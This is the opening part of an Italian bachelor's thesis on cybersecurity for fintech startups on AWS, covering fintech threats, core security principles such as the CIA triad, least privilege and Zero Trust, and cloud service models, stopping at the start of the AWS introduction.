Università degli Studi di Milano
Facoltà di Scienze e Tecnologie
Corso di Laurea in Sicurezza dei Sistemi e delle Reti Informatiche

SICUREZZA DELL'INFRASTRUTTURA AWS IN UNA STARTUP FINTECH

Relatore: Prof. Claudio Agostino Ardagna

Correlatore: Lorenzo Perotta, Andrea Pasini, Simone Cortese

Tesi di:
Andrea Ferraboli
Matricola: 09985A

Anno Accademico 2024-2025

Prefazione

Immaginate un veliero agile e innovativo, una startup fintech, che solca le onde tumultuose del mercato finanziario globale. La sua velocità è la sua forza, la sua tecnologia all'avanguardia la sua vela maestra. Ma in queste acque, popolate da insidie digitali sempre più sofisticate, la robustezza dello scafo e l'affidabilità della bussola – ovvero una solida architettura di cybersecurity – diventano cruciali non solo per raggiungere la meta, ma per la sopravvivenza stessa del viaggio. Questo lavoro si addentra proprio in questo scenario, esplorando il delicato equilibrio tra la spinta propulsiva all'innovazione tipica delle startup fintech e l'imprescindibile necessità di una sicurezza informatica ferrea.

La trattazione si snoda attraverso le sfide specifiche che queste giovani realtà digitali affrontano quotidianamente, proponendo strategie concrete e applicabili, con un'attenzione particolare all'ecosistema cloud di Amazon Web Services (AWS). Si analizzano non solo i mattoni fondamentali della protezione, come la gestione degli accessi e la difesa delle reti, ma anche strumenti di difesa proattiva come gli honeypot, veri e propri "specchietti per le allodole" digitali. Il tutto viene contestualizzato nel panorama dei principali framework e standard di sicurezza internazionali, offrendo così una prospettiva che lega la pratica alla teoria, con l'obiettivo finale di fornire spunti e metodologie per costruire infrastrutture resilienti, capaci di navigare sicure verso il futuro.

Il percorso di questa tesi si articola come segue: Il **Capitolo 1**, intitolato "Introduzione", apre le porte sul mondo delle startup fintech, delineandone il contesto dinamico, le vulnerabilità intrinseche e le sfide uniche che devono affrontare nel campo della cybersecurity. Si mette in luce come un approccio proattivo alla sicurezza non rappresenti un mero costo, bensì un investimento strategico fondamentale. Successivamente, il **Capitolo 2**, "Principi di cybersecurity olistici per un'infrastruttura tech", getta le basi teoriche, esplorando i concetti cardine della sicurezza informatica – dalla triade CIA (Confidenzialità, Integrità, Disponibilità) alla difesa in profondità, fino al principio del minimo privilegio – calandoli nella realtà operativa delle startup. Il **Capitolo 3**, "Principi dell'Infrastruttura Cloud e Scelta di AWS", guida il lettore attraverso i paradigmi del cloud computing, confrontandoli con le tradizionali infrastrutture on-premises. Viene quindi introdotto Amazon Web Services (AWS) come

piattaforma cloud di riferimento per molte realtà innovative, descrivendone l'architettura globale e i meccanismi che ne garantiscono scalabilità e flessibilità. Con il **Capitolo 4**, "Implementazioni Pratiche su AWS per una Startup Fintech", si entra nel vivo della progettazione, illustrando come tradurre i principi di sicurezza in configurazioni concrete all'interno dell'ambiente AWS. Si toccano temi cruciali come la gestione delle identità e degli accessi (IAM), la creazione di reti virtuali sicure (VPC), la protezione delle istanze di calcolo (EC2) e la salvaguardia dei dati sensibili. Il **Capitolo 5**, "Implementazione di un Honeypot in un'Infrastruttura AWS per Startup Fintech", è dedicato a uno strumento di difesa proattiva: l'honeypot. Se ne analizza la definizione, l'utilità, le diverse tipologie, i vantaggi e gli svantaggi, per poi passare alla descrizione di un'implementazione pratica su AWS, corredata da un'analisi dei costi e dalla simulazione di un attacco controllato per testarne l'efficacia. Infine, il **Capitolo 6**, "Compliance a standard internazionali e framework di sicurezza", chiude l'analisi, esaminando come le pratiche e le infrastrutture di sicurezza implementate si allineino ai principali standard e framework riconosciuti a livello globale, come il NIST Cybersecurity Framework, l'ISO/IEC 27001 e i principi della Zero Trust Architecture, offrendo una visione d'insieme sulla governance della sicurezza in un contesto fintech.

Dedica

dedicato a chi mi vuole bene, a chi mi stima e ai miei compagni di viaggio, vi voglio bene

Ringraziamenti

Vorrei ringraziare soprattutto ...

Indice

Indice

Elenco delle figure

Capitolo 1

Introduzione

1.1 La Cybersecurity nelle Startup Fintech: Sfide, Vulnerabilità e Strategie di Protezione in un Ecosistema in Rapida Evoluzione

Il settore fintech rappresenta oggi una delle aree più dinamiche e innovative dell'ecosistema startup, con investimenti globali che hanno raggiunto i 115 miliardi di dollari, in crescita esponenziale rispetto ai 53.2 miliardi del 2018 [1]. Questo rapido sviluppo, caratterizzato dall'implementazione di tecnologie emergenti per i servizi finanziari, porta con sé non solo opportunità senza precedenti ma anche significative sfide in termini di sicurezza informatica. Le startup fintech, che si trovano all'intersezione tra finanza tradizionale e innovazione tecnologica, gestiscono dati estremamente sensibili diventando bersagli privilegiati per i cybercriminali. Questa tesi esplora le vulnerabilità specifiche di queste realtà, analizza le principali minacce che affrontano e propone strategie di sicurezza efficaci anche in contesti di risorse limitate, evidenziando come un approccio proattivo alla cybersecurity non rappresenti un costo ma un investimento strategico fondamentale per il successo a lungo termine di una startup fintech.

1.1.1 Definizione di Fintech

Nell'ambito economico-finanziario, con il termine **fintech** (contrazione di "financial technology") si indica l'**innovazione nei servizi finanziari** resa possibile dalle moderne tecnologie digitali [2]. Una **startup fintech** è quindi una **nuova impresa** che opera nel settore della tecnologia finanziaria, basando il proprio modello di business sulle tecnologie ICT più avanzate e contrapponendosi agli approcci tradizionali degli operatori finanziari consolidati [3].

Queste giovani aziende ad alta componente tecnologica mirano a migliorare l'accessibilità, l'efficienza e la qualità dei servizi finanziari, e stanno svolgendo un ruolo cruciale nella **digitalizzazione del mercato finanziario italiano** [2].

Tra i servizi e le soluzioni tipicamente offerti dalle startup fintech vi sono:

- **Pagamenti digitali** (ad esempio tramite app mobili)
- Trasferimenti di denaro **peer-to-peer**
- **Prestiti diretti tra privati** (social lending)
- **Finanziamento partecipativo** (crowdfunding)
- Servizi assicurativi innovativi legati all'**insurtech**
- Impiego di tecnologie come la **blockchain** e le **criptovalute** per abilitare nuovi servizi finanziari

In linea con la crescita globale del fenomeno, in Italia si contavano oltre **600 startup fintech e insurtech** attive nel 2023 [3], a testimonianza di un ecosistema in rapido sviluppo.

1.1.2 Il Contesto delle Startup Fintech: Un Ecosistema Dinamico e Sfidante

Le startup fintech operano in un ambiente caratterizzato da elevata incertezza, risorse limitate e necessità di crescita rapida, fattori che influenzano profondamente le decisioni in ambito IT e sicurezza informatica [4]. A differenza delle istituzioni finanziarie tradizionali, queste realtà innovative non dispongono generalmente di strutture gerarchiche complesse o budget consistenti dedicati alla sicurezza, dovendo invece adottare approcci agili e flessibili.

Il contesto finanziario in cui operano le startup fintech impone pressioni significative sulle decisioni di spesa. Ogni investimento, compreso quello per l'infrastruttura IT e la sicurezza, deve essere attentamente valutato in termini di ritorno immediato e benefici a lungo termine [4]. Questa ottimizzazione dei costi rappresenta una sfida continua, poiché la sicurezza informatica richiede investimenti costanti, spesso non producendo risultati immediatamente visibili, la cui assenza può comportare conseguenze catastrofiche. In questo equilibrio delicato, le startup fintech devono trovare il giusto compromesso tra la necessità di scalare rapidamente e l'implementazione di solide misure di protezione.

1.1.3 La Distinzione tra Cybersecurity Bancaria e Fintech

Un aspetto fondamentale da considerare è la sostanziale differenza tra l'approccio alla cybersecurity nel settore bancario tradizionale e nelle startup fintech. Mentre le banche operano in un contesto fortemente regolamentato, con obblighi legali precisi in materia di sicurezza e protezione dei dati, le fintech hanno tradizionalmente goduto di una maggiore flessibilità normativa [5]. Le grandi istituzioni bancarie investono ingenti risorse nel testare costantemente le proprie misure di sicurezza, consapevoli che anche il minimo incidente può comportare la perdita di migliaia di clienti e sanzioni finanziarie significative.

Le fintech, spesso costituite da piccole startup in rapida espansione, possono fungere da "overlay" per le banche, facilitando la fornitura di servizi finanziari innovativi ma operando inizialmente con regolamentazioni meno stringenti [5]. Questa differenza normativa sta tuttavia diminuendo, soprattutto per quelle fintech che si trasformano gradualmente in vere e proprie banche, sottoponendosi così a un maggiore scrutinio regolamentare. La sfida per le startup fintech consiste quindi nel bilanciare l'agilità operativa con l'adozione di standard di sicurezza elevati, anticipando l'evoluzione normativa del settore.

1.1.4 Sfide Principali per le Startup Fintech in Ambito Cybersecurity

Le startup fintech affrontano sfide specifiche nel campo della sicurezza informatica, che derivano dalla loro natura innovativa e dalle caratteristiche distintive del loro modello di business [4]. La prima e più evidente sfida è rappresentata dal budget limitato per la sicurezza, che spesso costringe a difficili compromessi tra lo sviluppo di nuove funzionalità e l'implementazione di adeguate misure protettive. Questa limitazione finanziaria si riflette anche nella difficoltà di attrarre e mantenere personale specializzato in cybersecurity, un ambito in cui la domanda supera ampiamente l'offerta e le grandi aziende possono offrire compensi difficilmente pareggiabili da una startup.

La pressione per un rapido accesso al mercato rappresenta un'ulteriore sfida significativa. Nel settore fintech, essere i primi a offrire un servizio innovativo può fare la differenza tra il successo e il fallimento, ma questa corsa contro il tempo spesso porta a sottovalutare gli aspetti legati alla sicurezza [4]. Inoltre, la scalabilità dell'infrastruttura IT rappresenta una sfida tecnica considerevole: progettare sistemi che siano non solo sicuri ma anche in grado di crescere rapidamente al crescere dell'azienda richiede competenze specifiche e una pianificazione accurata.

L'adozione di tecnologie emergenti, caratteristica distintiva delle fintech, introduce nuove superfici di attacco e vulnerabilità potenziali [4]. Cloud computing, intelligenza artificiale, blockchain e API aperte offrono opportunità straordinarie ma richiedono

approcci di sicurezza specifici e aggiornati. Allo stesso tempo, la crescente interconnessione con partner, fornitori e piattaforme di terze parti amplia ulteriormente la superficie di attacco, rendendo la gestione del rischio ancora più complessa.

Non va sottovalutato, infine, il rischio rappresentato dalle minacce interne (insider threats). Nelle fasi iniziali di una startup, quando i controlli sono meno rigidi e le procedure di sicurezza meno formalizzate, il rischio legato a dipendenti negligenti o, in casi più rari, malintenzionati, aumenta considerevolmente [4]. La cultura della condivisione e dell'apertura, tipica delle startup, deve quindi essere bilanciata con adeguate politiche di accesso e controllo.

1.1.5 Minacce e Attacchi Informatici nel Settore Fintech

Il settore fintech, per la sua natura altamente tecnologica e la gestione di dati finanziari sensibili, è diventato uno dei bersagli preferiti dei cybercriminali [6]. Tra le minacce più diffuse e pericolose figurano gli attacchi di phishing, attraverso i quali i malintenzionati cercano di ottenere credenziali di accesso, dati personali o informazioni finanziarie utilizzando email, messaggi e siti web fraudolenti che imitano comunicazioni ufficiali [6]. Queste tecniche di social engineering sfruttano la fiducia degli utenti e le loro abitudini digitali per compromettere account e sistemi aziendali.

I malware e i ransomware rappresentano un'altra categoria di minacce particolarmente grave per le startup fintech. Questi software malevoli possono infiltrarsi nei sistemi attraverso vari vettori, bloccare l'accesso ai dati e richiedere un riscatto per ripristinarlo, causando danni finanziari diretti e interruzioni operative significative [6]. Le conseguenze di un attacco ransomware possono essere devastanti per una startup con risorse limitate, in quanto il riscatto diventa percentualmente troppo oneroso per le finanze aziendali.

Gli attacchi alle API (Application Programming Interfaces), sempre più utilizzate nel settore fintech per l'integrazione con servizi terzi, costituiscono un vettore di attacco in crescita [4]. Le API mal configurate o non adeguatamente protette possono diventare punti di ingresso privilegiati per i cybercriminali, consentendo l'accesso non autorizzato a dati sensibili e funzionalità critiche del sistema. Simile criticità presentano le configurazioni errate dei servizi cloud, che possono esporre involontariamente dati riservati o creare vulnerabilità sfruttabili.

Le startup fintech devono inoltre considerare il rischio di attacchi DDoS (Distributed Denial of Service), che mirano a rendere inaccessibili i servizi sovraccaricando i server con richieste fraudolente [4]. Questi attacchi, relativamente semplici da orchestrare ma potenzialmente molto dannosi, possono essere utilizzati sia come attacco diretto che come diversivo per mascherare altre attività malevoli più sofisticate.

1.1.6 Conseguenze degli Attacchi e Impatto sulle Startup Fintech

L'impatto di un attacco informatico su una startup fintech può essere multidimensionale e, in molti casi, esistenziale. A livello finanziario, oltre ai costi diretti per il ripristino dei sistemi e la gestione dell'incidente, vanno considerati i potenziali risarcimenti a clienti danneggiati, le sanzioni normative e l'aumento dei premi assicurativi [4]. Ma è forse l'impatto reputazionale a rappresentare la minaccia più grave: in un settore basato sulla fiducia come quello finanziario, una violazione dei dati può comprometterne irreparabilmente l'immagine, portando alla perdita di clienti attuali e potenziali.

L'interruzione operativa conseguente a un attacco può avere effetti a catena, influenzando non solo i clienti diretti ma anche partner commerciali e fornitori [4]. In un ecosistema interconnesso come quello fintech, l'interdipendenza tra diverse piattaforme e servizi amplifica ulteriormente l'impatto di un incidente di sicurezza, con effetti che possono estendersi ben oltre il perimetro aziendale immediato.

1.1.7 Importanza di un Approccio Proattivo alla Cybersecurity

Implementare una strategia di cybersecurity solida sin dalle prime fasi di sviluppo di una startup fintech non configura un semplice onere, bensì un investimento strategico di primaria importanza [4]. L'adozione del paradigma "security by design" permette infatti di integrare la sicurezza in maniera organica nei processi aziendali e nel ciclo di sviluppo del prodotto, contribuendo alla significativa riduzione dei costi a lungo termine e alla minimizzazione dei rischi potenziali. Al contrario, la mancata attenzione alla sicurezza nelle fasi iniziali comporta l'accumulo di "security debt", ovvero un debito tecnico in ambito sicurezza che, analogamente a un mutuo con tassi elevati, diventa progressivamente più oneroso da gestire e da ripagare nel tempo. Infine, la pressione derivante dalla necessità di accelerare lo sviluppo e di raggiungere rapidamente il mercato può portare a trascurare aspetti fondamentali della sicurezza, esacerbando ulteriormente tale debito tecnico.

Un approccio preventivo alla sicurezza risulta sempre più efficace ed economico rispetto a uno reattivo [4]. I costi per implementare misure di sicurezza di base sono generalmente inferiori rispetto a quelli necessari per rispondere a un incidente, che possono includere non solo il ripristino dei sistemi ma anche sanzioni, risarcimenti e danni reputazionali. La cybersecurity deve quindi essere considerata come parte integrante della strategia aziendale, non come un elemento accessorio o un costo da minimizzare.

Le startup fintech devono inoltre considerare che adeguati livelli di sicurezza rappresentano spesso un requisito fondamentale per attrarre investitori e partner commerciali [4]. Durante le fasi di due diligence, l'analisi delle misure di sicurezza implementate è diventata una componente standard, e lacune significative in questo ambito possono compromettere opportunità di finanziamento o collaborazioni strategiche.

1.1.8 Approccio Metodologico della Tesi

Questa tesi si propone di affrontare le sfide della cybersecurity nelle startup fintech attraverso un approccio metodologico strutturato ma flessibile [4]. Pur concentrandosi su un caso studio pratico specifico, l'obiettivo è fornire principi e best practice di sicurezza generici e applicabili a qualsiasi startup fintech, indipendentemente dalla piattaforma tecnologica specifica utilizzata. L'approccio adottato riconosce le limitazioni di risorse tipiche delle startup e propone soluzioni scalabili che possono evolvere con la crescita dell'organizzazione.

La metodologia si basa su tre pilastri fondamentali: l'identificazione delle minacce specifiche per il modello di business fintech, la prioritizzazione degli interventi in base al rapporto rischio/beneficio e l'implementazione di controlli di sicurezza essenziali ma efficaci [4]. Questo approccio pragmatico consente di ottenere un livello di protezione adeguato anche con risorse limitate, concentrando gli sforzi sugli aspetti più critici.

1.2 Principi di cybersecurity olistici per un'infrastruttura tech

1.2.1 Introduzione

Nell'analisi e nello studio dell'infrastruttura di una startup fintech, per comprendere le possibili implementazioni a livello di sicurezza dobbiamo prima delineare quali siano i principi di cybersecurity a cui ogni startup, fintech o meno, deve attenersi. In questo capitolo verranno analizzati i principi di cybersecurity più importanti e quali sono le principali sfide che un'azienda di piccole dimensioni può affrontare all'inizio del proprio percorso nell'adozione di tali pratiche.

Questo capitolo esplora i principi fondamentali di sicurezza informatica che ogni organizzazione dovrebbe implementare, con particolare attenzione alle sfide uniche che le startup fintech affrontano nell'adozione di tali pratiche. Il settore fintech, caratterizzato da rapida innovazione e gestione di dati finanziari sensibili, presenta un contesto particolarmente critico dove le best practice di sicurezza si scontrano spesso con le esigenze di velocità di sviluppo, risorse limitate e necessità di time-to-market accelerato.

1.3 Principi di cybersecurity

1.3.1 Triade CIA

La Triade CIA rappresenta i tre pilastri fondamentali dell'information security: confidentiality (riservatezza), integrity (integrità) e availability (disponibilità) [7]. Questi principi costituiscono la base su cui costruire qualsiasi strategia di sicurezza informatica robusta.

- **Confidentiality**: La riservatezza si concentra sul preservare le restrizioni autorizzate sull'accesso e la divulgazione delle informazioni, inclusi i mezzi per proteggere la privacy personale e le informazioni proprietarie [7]. Questo principio viene generalmente rispettato tramite la crittografia dei dati, sia a riposo (stored data) che in transito (data in transit), controlli di accesso rigorosi, come liste di controllo degli accessi (ACL), autenticazione a più fattori (MFA) e Role-Based Access Control (RBAC).

  text Nel contesto di una startup fintech, l'implementazione della riservatezza presenta sfide significative. L'accesso ai dati dei clienti e alle informazioni finanziarie deve essere rigorosamente controllato, ma i team piccoli e multifunzionali tipici delle startup spesso portano a una condivisione delle credenziali o all'assegnazione di privilegi eccessivi per "far funzionare le cose rapidamente".

  La gestione delle chiavi di cifratura rappresenta un'ulteriore complessità: nelle startup dove i ruoli non sono chiaramente definiti, la responsabilità della gestione delle chiavi può essere ambigua, portando potenzialmente a compromissioni della sicurezza.

- **Integrity**: L'integrità dei dati comporta la protezione contro modifiche o distruzioni improprie delle informazioni e garantisce la non ripudiabilità e l'autenticità delle informazioni [7]. Mantenere l'integrità dei dati è essenziale per prevenire la diffusione di informazioni corrotte o ingannevoli, che potrebbero avere gravi ripercussioni in settori critici come quello sanitario o finanziario. Le tecniche utilizzate per preservare l'integrità includono:

  - Funzioni di hash crittografiche (es. SHA-256) per verificare che i dati non siano stati alterati.
  - Firme digitali per autenticare l'origine dei dati e garantirne la non modifica.
  - Controllo delle versioni per tracciare le modifiche e ripristinare versioni precedenti.
  - Checksum e meccanismi di rilevamento degli errori.

Nel contesto di una startup fintech, l'integrità dei dati è uno di quegli aspetti che va ad inficiare la brand reputation della startup stessa, in quanto la fiducia degli stakeholders si basa anche sulla capacità della startup di conservare i dati dei clienti senza distorsioni e di garantire l'accuratezza nelle transazioni di dati nella maniera più professionale possibile.

- **Availability**: Questo principio assicura l'accesso affidabile e tempestivo alle informazioni [7]. Mira a prevenire interruzioni del servizio, sia dovute a guasti tecnici che ad attacchi malevoli come i Denial-of-Service (DoS) o Distributed Denial-of-Service (DDoS). L'indisponibilità può causare interruzioni operative, perdite economiche e danni alla reputazione. Le strategie per garantire un'elevata disponibilità comprendono:
  - Sistemi ridondanti (hardware, software, reti) per eliminare singoli punti di fallimento (Single Points of Failure - SPOF).
  - Backup regolari e piani di disaster recovery (DR) e business continuity (BCP).
  - Tecniche di bilanciamento del carico (load balancing) per distribuire il traffico di rete.
  - Misure di protezione contro attacchi DoS/DDoS.

  Nella maggior parte delle startup, l'infrastruttura di base viene sviluppata considerando una capacità di carico massimo limitato, in quanto nei primi periodi di vita dell'azienda non ci si aspetta un elevato numero di utenti. Proprio per questo motivo, l'infrastruttura presenta un punto vulnerabile che può essere sfruttato dagli attaccanti per mettere a repentaglio l'intero sistema, ad esempio con attacchi DoS/DDoS mirati al perimetro aziendale.

1.3.2 Difesa in Profondità (Defense in Depth)

Il principio di difesa in profondità prevede l'implementazione di una stratificazione delle risorse informatiche di protezione [8]. Questo approccio permette di rallentare la penetrazione di un eventuale attacco esterno, al fine di avere poi il tempo necessario per una efficace reazione protettiva. La strategia di difesa in profondità fornisce la fondazione per una protezione multidimensionale che include tre componenti mutualmente supportive e rinforzanti: (1) architettura resistente alla penetrazione, (2) operazioni di limitazione dei danni, e (3) progettazione per la cyber resilienza e la sopravvivenza [9].

Nelle startup fintech, l'implementazione della difesa in profondità è spesso compromessa da vincoli di risorse e pressioni temporali. Ad esempio, mentre una soluzione di

autenticazione a più fattori (MFA) è essenziale per proteggere l'accesso a dati finanziari sensibili, una startup potrebbe inizialmente implementare solo l'autenticazione basata su password per accelerare l'onboarding degli utenti, pianificando di aggiungere MFA "in un secondo momento" – un momento che potrebbe non arrivare prima che si verifichi un incidente di sicurezza.

La segmentazione della rete, fondamentale per contenere eventuali violazioni, richiede una progettazione accurata dell'infrastruttura. Tuttavia, nelle fasi iniziali, molte startup fintech operano con architetture di rete piatte per semplificare lo sviluppo e ridurre il sovraccarico operativo, oltre a non disporre del capitale umano competente per gestire una tale complessità.

1.3.3 Principio del Minimo Privilegio

Il principio del minimo privilegio stabilisce che un sistema dovrebbe limitare i privilegi di accesso degli utenti (o dei processi che agiscono per conto degli utenti) al minimo necessario per svolgere le attività assegnate [10]. Questo principio dichiara che un'architettura di sicurezza è progettata in modo che a ciascuna entità siano concesse le minime autorizzazioni e risorse di sistema necessarie per svolgere la propria funzione [10].

Nelle startup fintech, applicare il principio del minimo privilegio presenta sfide uniche. La cultura focalizzata sulla velocità d'esecuzione spinge spesso a trascurare la sicurezza granulare degli accessi. È forte la tentazione di assegnare privilegi amministrativi ampi e generici per accelerare lo sviluppo, piuttosto che investire tempo nella configurazione di permessi specifici per ogni compito.

Un esempio comune è concedere a tutti gli sviluppatori accesso completo al database di produzione durante la creazione di una nuova dashboard, invece di limitare ciascuno alle sole tabelle o operazioni strettamente necessarie. Sebbene sembri una scorciatoia efficiente, questa pratica crea vulnerabilità critiche: la compromissione di un singolo account può esporre una quantità sproporzionata di dati sensibili, amplificando enormemente i danni di una violazione.

1.3.4 Separazione dei Compiti (Separation of Duties)

La separazione dei compiti include la divisione delle funzioni di missione o business e le funzioni di supporto tra diverse persone o ruoli, conducendo funzioni di supporto al sistema con individui diversi, e assicurando che il personale di sicurezza che amministra le funzioni di controllo degli accessi non amministri anche le funzioni di audit [11]. Poiché le violazioni della separazione dei compiti possono estendersi a sistemi e domini di applicazioni, le organizzazioni considerano l'interezza dei sistemi e dei

componenti del sistema quando sviluppano politiche sulla separazione dei compiti [11].

Nelle startup fintech, dove i team sono piccoli e i ruoli spesso sovrapposti, questo principio è particolarmente difficile da attuare. Ad esempio, in una startup che sviluppa una piattaforma di prestiti P2P, potrebbe esserci un solo ingegnere responsabile sia dell'implementazione del sistema di scoring del credito sia della configurazione dei controlli di sicurezza sullo stesso sistema. Questa concentrazione di responsabilità crea un rischio intrinseco: errori o azioni malevole potrebbero passare inosservati senza un secondo paio di occhi che verifichi il lavoro.

1.3.5 Zero Trust

Il modello Zero Trust si basa sul concetto che un'organizzazione non dovrebbe fidarsi automaticamente di nulla sia all'interno che all'esterno dei suoi perimetri e deve verificare tutto ciò che tenta di connettersi ai suoi sistemi prima di concedere l'accesso [12]. Zero Trust è una risposta evoluta alle tendenze che includono la migrazione delle risorse di lavoro verso ambienti cloud, lavoratori che operano da dispositivi mobili ovunque si trovino e una crescente collaborazione tra organizzazioni [12].

Per una startup fintech, l'adozione rigorosa del principio di Zero Trust può rivelarsi particolarmente gravosa. Nelle fasi iniziali, è frequente che l'intera infrastruttura sia gestita da una sola persona, con responsabilità sia di sviluppo sia di amministrazione di rete: questo crea un unico punto di falla, amplificando il rischio di errori di configurazione o di accesso non autorizzato.

Inoltre, le limitate risorse economiche e umane possono rendere difficoltoso implementare soluzioni avanzate di micro-segmentazione, sistemi di Identity and Access Management (IAM) complessi e piattaforme di monitoraggio continuo. Infine, la mancanza di separazione dei compiti e di revisioni periodiche rende più probabile la persistenza di permessi eccessivi o non aggiornati, esponendo i sistemi a potenziali attacchi laterali e perdite di dati sensibili.

Capitolo 2

Principi dell'Infrastruttura Cloud e Scelta di AWS

Dopo aver introdotto le sfide di cybersecurity specifiche per le startup fintech, è fondamentale comprendere il contesto tecnologico in cui queste operano. Oggi, la stragrande maggioranza delle nuove imprese, specialmente nel settore tecnologico e finanziario, basa la propria infrastruttura su modelli di **cloud computing**. Questo capitolo esplora i motivi di questa scelta, confrontando l'approccio cloud con quello tradizionale on-premises, e introduce **Amazon Web Services (AWS)**, il provider cloud scelto nel nostro caso studio, delineandone la struttura e i principi fondamentali.

2.1 Fondamenti di Cloud Computing

Il cloud computing è un modello di fruizione IT *"on-demand"* che abilita l'accesso ubiquo e conveniente via rete a un pool condiviso di risorse computazionali configurabili (reti, server, storage, applicazioni e servizi) che possono essere predisposte o rilasciate rapidamente con il minimo sforzo di gestione o intervento del provider [13]. Questo modello si basa su cinque caratteristiche essenziali (tra cui autoservizio on-demand, *multitenancy*, scalabilità rapida ed elasticità) ed esplica diversi modelli di servizio e modelli di distribuzione [13].

I vantaggi chiave del cloud – in particolare rilevanti per una startup fintech – sono la *scalabilità*, la *flessibilità* e l'*elasticità*. La scalabilità consente di aumentare o diminuire capacità computazionale in base alla domanda [14]. L'elasticità estende il concetto di scalabilità rendendola dinamica: le risorse possono aumentare o diminuire automaticamente in tempo reale a fronte di picchi o cali di carico [15]. Ciò permette di ottimizzare i costi (pagando solo ciò che serve) e di raggiungere prestazioni adeguate anche in caso di crescita rapida del business, scenario tipico di molte startup fintech.

I principali modelli di servizio cloud sono:

- **IaaS (Infrastructure as a Service):** fornisce infrastruttura IT on-demand (server, macchine virtuali, storage, rete) gestita dal provider cloud [16]. L'utente può configurare e usare queste risorse come farebbe on-premises, senza doverle possedere.
- **PaaS (Platform as a Service):** fornisce una piattaforma completa (sistema operativo, middleware, strumenti di sviluppo) pronta all'uso per sviluppare, eseguire e gestire applicazioni [17]. Il provider mantiene lo strato sottostante (infrastruttura e runtime), mentre l'utente si concentra sullo sviluppo del software.
- **SaaS (Software as a Service):** eroga applicazioni software pronte all'uso attraverso il cloud [17]. L'utente finale accede al servizio (es. web app, CRM, gestione documenti) senza gestire infrastruttura o piattaforma sottostante.

Analogamente, i modelli di distribuzione definiscono dove e a chi è dedicato l'ambiente cloud. I più comuni sono:

- **Public Cloud:** l'infrastruttura è posseduta da un provider terzo e messa a disposizione del pubblico via Internet [15]. Ad esempio, AWS, Azure e Google Cloud offrono servizi condivisi tra molti clienti. I vantaggi includono costi operativi ridotti e alta scalabilità, mentre gli svantaggi possono riguardare il controllo ridotto e la condivisione delle risorse con altri tenant [15].
- **Private Cloud:** l'infrastruttura è dedicata a un'unica organizzazione (sovente gestita internamente o in data center riservati) [15]. Offre maggiore controllo e sicurezza (elevata protezione dei dati sensibili), ma richiede investimenti in hardware dedicato e può avere minore scalabilità rispetto al public cloud [15].
- **Hybrid Cloud:** combina ambienti pubblici e privati, permettendo di spostare workload tra essi a seconda delle necessità [15]. Una startup fintech potrebbe usare il public cloud per carichi generici e il private cloud per dati regolamentati, ottenendo sia flessibilità che compliance normativa [15]. L'hybrid cloud massimizza scalabilità e controllo mantenendo la coerenza con requisiti di sicurezza o normativi.

Queste architetture consentono alle startup fintech di avviare servizi IT senza investimenti iniziali in hardware, scalare in base alla domanda del mercato e sperimentare nuovi servizi in maniera agile, mantenendo al tempo stesso contesti isolati (in ambienti privati) per dati sensibili.

2.2 Cloud Computing vs Infrastrutture On-Premises

Tradizionalmente, le aziende gestivano la propria infrastruttura IT internamente, in data center di proprietà o in affitto. Questo modello è noto come **on-premises**. Richiede l'acquisto di hardware (server, storage, apparati di rete), software (sistemi operativi, licenze), e l'impiego di personale specializzato per la gestione, la manutenzione, gli aggiornamenti e la sicurezza fisica ed operativa.

Il **cloud computing**, invece, si basa sull'erogazione di risorse informatiche (come potenza di calcolo, storage, database, reti, software, analytics, intelligenza artificiale) tramite Internet, secondo un modello *pay-as-you-go* (paga solo per ciò che consumi). I fornitori di servizi cloud (Cloud Service Provider - CSP), come AWS, Microsoft Azure o Google Cloud Platform, gestiscono l'infrastruttura fisica sottostante, permettendo ai clienti di accedere alle risorse di cui hanno bisogno in modo flessibile e scalabile.

Le differenze principali risiedono in:

- **Costi:** On-premises richiede un ingente investimento iniziale (Capex - Capital Expenditure) per l'acquisto dell'hardware, mentre il cloud trasforma questo costo in una spesa operativa variabile (Opex - Operational Expenditure) basata sul consumo effettivo.
- **Scalabilità:** Il cloud offre scalabilità *elastica*, permettendo di aumentare o diminuire le risorse quasi istantaneamente in base alla domanda. L'infrastruttura on-premises ha una scalabilità limitata e richiede pianificazione e acquisti anticipati per gestire picchi di carico.
- **Manutenzione:** Nel cloud, la manutenzione dell'hardware e dell'infrastruttura di base è responsabilità del provider, liberando il team IT del cliente da queste incombenze.
- **Agilità e Velocità:** Il cloud permette di provisionare nuove risorse in pochi minuti, accelerando notevolmente i cicli di sviluppo e il time-to-market di nuovi prodotti o servizi.
- **Affidabilità e Portata Globale:** I principali CSP dispongono di data center ridondati in diverse regioni geografiche, offrendo alta disponibilità e la possibilità di distribuire applicazioni a livello globale con bassa latenza.

2.3 Perché le Startup Scelgono il Cloud

Per le startup, specialmente quelle fintech che necessitano di agilità e gestione efficiente delle risorse, il modello cloud offre vantaggi decisivi rispetto all'on-premises:

- **Riduzione delle Barriere all'Ingresso:** L'assenza di grandi investimenti iniziali (Capex) rende accessibili tecnologie avanzate anche a realtà con budget limitati. Si paga solo per l'uso effettivo, allineando i costi alla crescita.
- **Scalabilità Rapida:** Una startup può iniziare con poche risorse e scalare rapidamente man mano che la base utenti o il volume delle transazioni cresce, senza dover sovradimensionare l'infrastruttura all'inizio. Questo è cruciale nel fintech, dove i volumi possono essere imprevedibili.
- **Focalizzazione sul Core Business:** Delegando la gestione dell'infrastruttura al CSP, la startup può concentrare le proprie risorse limitate (tempo e personale) sullo sviluppo del prodotto, sull'acquisizione clienti e sull'innovazione, anziché sulla gestione dei server.
- **Velocità di Innovazione (Time-to-Market)**:** La possibilità di provisionare velocemente ambienti di sviluppo, test e produzione accelera il rilascio di nuove funzionalità, un fattore competitivo essenziale.
- **Accesso a Tecnologie Avanzate:** I CSP offrono servizi gestiti per database, machine learning, big data analytics, sicurezza, ecc., che sarebbero complessi e costosi da implementare e gestire autonomamente on-premises.
- **Affidabilità e Sicurezza di Base:** I CSP investono massicciamente in sicurezza fisica e operativa dei loro data center, offrendo un livello di base di affidabilità e sicurezza spesso superiore a quello che una startup potrebbe permettersi on-premises (sebbene la sicurezza *nel* cloud rimanga responsabilità del cliente).

2.4 Introduzione ad Amazon Web Services (AWS)

Tra i principali fornitori di servizi cloud, **Amazon Web Services (AWS)** è il leader di mercato e rappresenta la scelta infrastrutturale per moltissime startup a livello globale, incluse quelle operanti nel settore fintech, come nel caso studio di questa tesi. Lanciato nel 2006, AWS offre un portafoglio estremamente ampio e maturo di servizi cloud.

La struttura di AWS si basa su alcuni concetti chiave:

